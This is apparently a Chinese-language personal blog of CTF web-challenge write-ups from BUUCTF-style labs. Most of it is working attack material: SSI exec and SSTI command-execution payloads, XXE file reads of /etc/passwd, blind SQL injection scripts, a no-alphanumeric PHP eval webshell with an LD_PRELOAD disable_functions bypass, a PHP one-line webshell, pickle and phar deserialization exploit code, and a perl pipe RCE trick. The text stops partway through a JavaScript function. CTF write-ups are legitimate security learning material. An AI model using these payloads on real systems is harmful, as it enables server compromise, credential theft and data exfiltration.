贴一个爆破的脚本

import hashlib
for i in range(1000000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if a[0:6] == '6d0bc1':
        print(i)
        print(a)

抓包发现响应头中

Url_is_here: public/11b26335b1b3d0a88c6ec7333d2f5f522d1237f2.shtml

访问尝试XFF SSTI失败,看看wp吧,是SSI注入漏洞

SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。

SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。

从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

首先,介绍下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来。

①显示服务器端环境变量<#echo>

本文档名称:

<!–#echo var="DOCUMENT_NAME"–>

现在时间:

<!–#echo var="DATE_LOCAL"–>

显示IP地址:

<! #echo var="REMOTE_ADDR"–>

②将文本内容直接插入到文档中<#include>

<! #include file="文件名称"–>

<!--#include virtual="index.html" -->

<! #include virtual="文件名称"–>

<!--#include virtual="/www/footer.html" -->

注:file包含文件可以在同一级目录或其子目录中,但不能在上一级目录中,virtual包含文件可以是Web站点上的虚拟目录的完整路径

③显示WEB文档相关信息<#flastmod><#fsize>(如文件制作日期/大小等)

文件最近更新日期:

<! #flastmod file="文件名称"–>

文件的长度:

<!–#fsize file="文件名称"–>

④直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)

<!–#exec cmd="文件名称"–>

<!--#exec cmd="cat /etc/passwd"-->

<!–#exec cgi="文件名称"–>

<!--#exec cgi="/cgi-bin/access_log.cgi"–>

将某一外部程序的输出插入到页面中。可插入CGI程序或者是常规应用程序的输入,这取决于使用的参数是cmd还是cgi。

⑤设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式)

⑥高级SSI可设置变量使用if条件语句。

所以我们传入<!–#exec cmd="系统命令"–>即可执行系统命令,password内容已确定,只能通过username传入

payload:
POST
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

[GYCTF2020]FlaskApp

解密处SSTI

过滤了*,system,os

试试读取文件源码,找到了黑名单

black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]

使用加号绕过,遍历根目录

{{url_for.__globals__["o"+"s"].listdir('/')}}

发现this_is_the_flag.txt文件

{{url_for.__globals__['__builtins__'].open('/this_is_the_f' + 'lag.txt','r').read()}}

拿到flag

[BSidesCF 2019]Kookie

Cookie: username=admin

[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
	$code=$_GET['code'];
	if(strlen($code)>40){
		die("This is too Long.");
	}
	if(preg_match("/[A-Za-z0-9]+/",$code)){
		die("NO.");
	}
	@eval($code);
}
else{
	highlight_file(__FILE__);
}
?>

取反绕过,先试试phpinfo

code=(~%8F%97%8F%96%91%99%90)();

禁用大量系统命令执行函数,构造eval使用蚁剑

code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);
//assert((eval($_POST[a])))

发现读不到flag,看wp,是一个PHP7的禁用函数绕过漏洞

这里用工具
地址https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
由于在/var/tmp目录 有上传权限,可以上传bypass_disablefun_x64.so和bypass_disablefunc.php(重命名为shell.php),
然后需要构造一个新的payload:
根据“?code=${*GET}[_](https://www.cnblogs.com/yunqian2017/p/${_GET}[_]);&*=assert&_=eval($_POST['a'])”
使用的是异或绕过,
最后的payload是
code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

[MRCTF2020]套娃

查看源码

$query = $_SERVER['QUERY_STRING'];
if(substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
	die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
	echo "you are going to the next ~";
}

要求传参变量名为b_u_p_t又要求队列字符串中不能有下划线,可以使用空格绕过,而匹配起始结尾都要有23333,使用换行绕过

?b u p t=23333%0A

查看源码,发现有brainfuck注释内容,在控制台执行,发现需要POST传参Merak,传入后查看代码

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';
if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 
function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

ip匹配绕过使用Client-ip请求头,file_get_contents使用data伪协议传入

?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

查看源码得到flag

[WUSTCTF2020]颜值成绩查询

布尔盲注,看这题[极客大挑战 2019]FinalSQL

import requests
url="http://e3fad2bd-ba6f-41a9-bb23-275458f3c9ed.node4.buuoj.cn:81/"
name=",QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890"
flag="flag{1234567890-bcde},"
for i in range(1,100):
    for j in flag:
        parma={
            'stunum':f"1*(ascii(substr((select(group_concat(value))from(ctf.flag)),{i},1))={ord(j)})"
        }
        tex=requests.get(url,params=parma).text
        if "Hi admin, your score is: 100" in tex:
            print(j,end='')
            break

[FBCTF2019]RCEService

%0A换行截断绕过

payload:
cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

[Zer0pts2020]Can you guess it?

先看源码

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>

利用的是basename函数和$_SERVER['PHP_SELF']

basename函数会返回路径中的文件名部分,如

basename("/var/www/html/index.php")=index.php

$_SERVER['PHP_SELF']返回的是url中文件部分

http://127.0.0.1/test/index.php
PHP_SELF内容就是/test/index.php

basename函数有一个bug,它会去掉文件名开头的非ASCII值,所以我们构造payload在config.php最后再加一个非ascii字符即可

payload:
index.php/config.php/%FF?source

[NCTF2019]Fake XML cookbook

随意输入用户名密码,抓包发现内容使用xml传输,尝试构造XXE漏洞

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-03 23.20.24.png)

测试回显成功

猜测flag在根目录下,拿到flag

[CISCN2019 华北赛区 Day1 Web2]ikun

看标题内容,提示要买LV6

## 爆破*站:资金募集 11540.0
ikun们冲鸭,一定要买到lv6!!!

写个脚本先找到LV6

import requests
url="http://14806839-f3e4-4cb2-8762-4f6d771a95b0.node4.buuoj.cn:81/shop?page="
name="static/img/lv/lv6.png"
i=2
while 1:
    tex=requests.get(url+str(i)).text
    if name in tex:
        print(i)
    i+=1

发现在181页

需要的money太臭了不买了太多了,抓包更改折扣购买,而后提示该页面只允许admin访问,抓包发现JWT,找个脚本爆破密钥

爆破出的密钥为1Kun

再在jwt.io中生成新的jwt

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-03 23.47.04.png)

看源码下载文件

关键内容在sshop/views/Admin.py

#Admin.py
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == "admin":
            return self.render('form.html', res='This is Black Technology!', member=0)
        else:
            return self.render('no_ass.html')

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
        except:
            return self.render('form.html', res='This is Black Technology!', member=0)

题目中提示了pickle,看看这是个什么东西

python的pickle模块实现了基本的数据序列和反序列化

函数 说明
dumps 对象反序列化为bytes对象
dump 对象反序列化到文件对象,存入文件
loads 从bytes对象反序列化
load 对象反序列化,从文件中读取数据
#文件
#序列化
pickle.dump(obj, file, protocol=None,)
obj表示要进行封装的对象(必填参数)
file表示obj要写入的文件对象
以二进制可写模式打开即wb(必填参数)
#反序列化
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
file文件中读取封存后的对象
以二进制可读模式打开即rb(必填参数)
#对象
#序列化
pickle.dumps(obj, protocol=None,*,fix_imports=True)
dumps()方法不需要写入文件中,直接返回一个序列化的bytes对象。
#反序列化
pickle.loads(bytes_object, *,fix_imports=True, encoding="ASCII". errors="strict")
loads()方法是直接从bytes对象中读取序列化的信息,而非从文件中读取。

查找后得知pickle反序列化漏洞

简而言之,pickle的loads在进行反序列化的时候会调用__reduce__魔术方法,也就可以利用该魔术方法构造payload

命令执行例子

import pickle
import os

class Test2(object):
    def __reduce__():
    	#被调用函数的参数
        cmd = "/usr/bin/id" 
        return (os.system,(cmd,))

if __name__ == "__main__":
    test = Test2()
    #执行序列化操作
    result1 = pickle.dumps(test)
    #执行反序列化操作
    result2 = pickle.loads(result1)

# __reduce__()魔法方法的返回值:
# return(os.system,(cmd,))
# 1.满足返回一个元组,元组中有两个参数
# 2.第一个参数是被调用函数 : os.system()
# 3.第二个参数是一个元组:(cmd,),元组中被调用的参数 cmd
# 4. 因此序列化时被解析执行的代码是 os.system("/usr/bin/id")

那么就来构造个payload吧

#python2
import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

提交即可

[GWCTF 2019]枯燥的抽奖

源码

<?php 
#这不是抽奖程序的源代码!不许看! 
header("Content-Type: text/html;charset=utf-8"); 
session_start(); 
if(!isset($_SESSION['seed'])){ 
$_SESSION['seed']=rand(0,999999999); 
} 

mt_srand($_SESSION['seed']); 
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 
$str=''; 
$len1=20; 
for ( $i = 0; $i < $len1; $i++ ){ 
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);        
} 
$str_show = substr($str, 0, 10); 
echo "<p id='p1'>".$str_show."</p>"; 


if(isset($_POST['num'])){ 
    if($_POST['num']===$str){x 
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>"; 
    } 
    else{ 
        echo "<p id=flag>没抽中哦,再试试吧</p>"; 
    } 
} 
show_source("check.php");

伪随机数漏洞,先算出需要的随机数吧

s = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
key = 'S5KnjyVcrs'
m = ''
for i in key:
    for j in range(len(s)):
        if i == s[j]:
            m += "{} {} 0 {} ".format(j,j,len(s)-1)
print(m)

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-04 22.41.58.png)

跑出来一个尝试一下

<?php
#version:php7.3.4
mt_srand(830361885);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo $str;

成功

[CSCCTF 2019 Qual]FlaskLight

SSTI

config里面有提示

'SECRET_KEY': 'CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}'

构造读文件的类咯

search={{''.__class__.__mro__[-1].__subclasses__()}}
里面有<class 'subprocess.Popen'>,在258位
payload:search={{''.__class__.__mro__[-1].__subclasses__()[258]('cat flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

[SUCTF 2019]Pythonginx

进入就是源码

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname #解析出主机名
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1] #再次解析主机名
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'): #对www.example.com按.划分,先按idna编码,再utf-8解码
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost) #组合好解码后的主机名
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname #解析出主机名,要等于suctf.cc
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

搞个脚本尝试跑出最后的c中以idna编码后再经过utf8编码结果为C的内容

for i in range(128,65537):    
    tmp=chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8')
        if res=="c":
            print(tmp)
    except:
        continue

结果:

ℂ
ℭ
Ⅽ
ⅽ
Ⓒ
ⓒ
C
c

随便拎一个构造payload,题中提示了使用了nginx,尝试访问默认nginx配置文件

配置文件存放目录:/etc/nginx
主要配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
Nginx配置文件:/usr/local/nginx/conf/nginx.conf
file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
server {
    listen 80;
    location / {
        try_files $uri @app;
    }
    location @app {
        include uwsgi_params;
        uwsgi_pass unix:///tmp/uwsgi.sock;
    }
    location /static {
        alias /app/static;
    }
    # location /flag {
    #     alias /usr/fffffflag;
    # }
}

查看flag即可

file://suctf.cℂ/usr/fffffflag

[NCTF2019]True XML cookbook

又一个XXE,先尝试一下直接读flag吧

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///flag">
 ]>
<user><username>&abc;</username><password>123456</password></user>

emmmmmm文件似乎不存在,再尝试读取网站源码,返回0没有内容,再试试PHP伪协议

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/doLogin.php">
 ]>
<user><username>&abc;</username><password>123456</password></user>
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);

	$username = $creds->username;
	$password = $creds->password;

	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

这玩楞也妹啥用啊

看看wp,拓展XXE漏洞,可以利用任意文件读取的特性来探测内网存活主机,获取/etc/hosts文件,我们分别读取关键文件:**/etc/hosts 和 /proc/net/arp:**

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
 <!ENTITY abc SYSTEM "file:///etc/hosts">
 ]>
<user><username>&abc;</username><password>123456</password></user>

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-05 19.29.23.png)

找到内网中IP,尝试在ip末尾爆破,出flag

也不知道我这个环境有啥问题就是跑不出来,以后再试试

[CISCN2019 总决赛 Day2 Web1]Easyweb

robots.txt

Disallow: *.php.bak

拿到image.php源码

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

查看源码,发现传入的id和path都将变量经过addslashes转换后的\0,%00,\','替换为空

那么我们如果传入\\0,前两个反斜杠由于转义,结果是\0,经过addslashes变为\\0,再经过str_replace变为\,此时整个sql语句变为

select * from images where id='\' or path='{$path}'

我们就可以在path处进行sql注入

tables:images,users
import requests
url=r"http://3658d7dc-a0eb-4cb0-a891-f66217ffe401.node4.buuoj.cn:81/image.php?id=\\0&path=or id="
name='admin1234567890,qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
for i in range(1,100):
    for j in name:
        payload=f"if((ascii(substr((select group_concat(password)from users),{i},1))={ord(j)}),1,0)--+"
        tex=requests.get(url+payload).text
        if "JFIF" in tex:
            print(j,end='')
            break

在users表中获得用户名和密码admin:157aeccdaba2cf3324cf

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-06 21.43.40.png)

尝试上传一句话木马,显示不允许上传php文件,上传任意文件尝试,得到提示

I logged the file name you uploaded to logs/upload.b6acf587d3c1a6ea213bf45c8c143b95.log.php.

将文件名写入log.php文件,在文件名处尝试构造木马,还是提示不能上传,看来在文件名处对php进行了过滤,尝试短标签绕过成功

<?= eval($_POST['kkk']);?>

拿flag

[RCTF2015]EasySQL

进入页面发现有一个登录一个注册,怀疑是二次注入,尝试在用户名中加入单双引号测试,注册成功但是登录失败,看看wp,使用反斜杠进行测试,在修改密码处测试成功,报错回显

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-06 21.58.42.png)

[HITCON 2017]SSRFme

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);
    $dir  = str_replace(".", "", basename($info["dirname"]));
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

两眼一蒙,直接wp,是新知识耶

题目的意思是先以MD5(orange .ip)生成一个hash,放在sandbox之下,然后使用GET命令进行访问,那里就可以使用perl 进行命令执行,执行的前提是 前面必须要创建一个和这个命令一样的文件。然后呢就是将命令执行的结果放到我们传进去的文件里面。

先看看根目录下有什么

?url=/&filename=aaa

看到了readflag文件,应该是要在根目录执行这个文件拿到flag了

主要的知识点:perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠|)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。

看payload

payload1:
/?url=file:bash -c /readflag|&filename=bash -c /readflag|
这一步是先将bash -c /readflag|写入名为bash -c /readflag|的文件里
payload2:
/?url=file:bash -c /readflag|&filename=aaa
这一步是要执行上一步中写入的命令并把结果放入aaa文件中
payload3:
/sandbox/230317844a87b41e353b096d0d6a5145/aaa

[CISCN2019 华北赛区 Day1 Web1]Dropbox

注册->登录->上传文件->尝试下载->发现任意文件读取漏洞,查看源码

//index.php
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
//download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);//将一个func放入funcs
        foreach ($this->files as $file) {//files为一个数组,存放new出的对象并进行遍历
            $this->results[$file->name()][$func] = $file->$func();
          	//results是一个二维数组,[文件名][方法]=方法执行结果
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

应该是反序列化了,提示了phar协议,正好学习一下

phar简介

phar,全称为PHP Archive,phar扩展提供了一种将整个PHP应用程序放入.phar文件中的方法,以方便移动、安装。.phar文件的最大特点是将几个文件组合成一个文件的便捷方式,.phar文件提供了一种将完整的PHP程序分布在一个文件中并从该文件中运行的方法。可以将phar文件类比为一个压缩文件

phar文件结构

1. a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

3. the file contents
被压缩文件的内容。

4. [optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾

先找反序列化链子吧

会发现在File类中有一个close()函数,这里还直接调用file_get_comtents()函数,那么不多说这里绝对是链子的结尾。但是如果只用这两个类是不够的,因为不能直接打印出来。所以得继续下一个类FileList继续使用,正好里面也有__call函数。func是调用的方法名,args是方法的参数

那么我们就将$this->db复制为FileList类这样我们就可以直接使用该类中得方法。

//exp.php
<?php

class User{
    public $db;
    public function __construct() 
    {
        $this->db = new FileList();
    }
}

class File{
    public $filename;
}

class FileList {
    private $files;
    public function __construct() 
    {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
    }

}

$User = new User();
$phar = new Phar("./rabbit.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($User); //触发的头是User类,所以传入User对象
$phar->addFromString("test.txt", "test"); //生成签名
$phar->stopBuffering();
?>

在delete页面传入phar://文件名即可

[CISCN2019 华北赛区 Day1 Web5]CyberPunk

看源码得到提示<!--?file=?-->伪协议读代码

//confirm.php
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = $_POST["address"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if($fetch->num_rows>0) {
        $msg = $user_name."已提交订单";
    }else{
        $sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
        $re = $db->prepare($sql);
        $re->bind_param("sss", $user_name, $address, $phone);
        $re = $re->execute();
//change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

关键在于confirm中没有对传入的address进行过滤,而在change中又对查询出的旧address进行了使用,所以我们在更改地址的时候就会触发我们在confirm中提交的payload

1' where phone=updatexml(1,concat(0x7e,(select database()),0x7e),1)#
1' where phone=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

查完库和表发现好像不是在数据库内,load_file看看文件

1' where phone=updatexml(1,concat(0x7e,(select load_file('/flag.txt')),0x7e),1)#

拿到flag

[HFCTF2020]EasyLogin

注册登录后点击GET FLAG显示权限不足,查看返回内容发现jwt

![](https://jlan-blog.oss-cn-beijing.aliyuncs.com/截屏2022-05-08 21.14.12.png)

下一步不知道咋走了,看wp是要分析源码

//app.js
function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
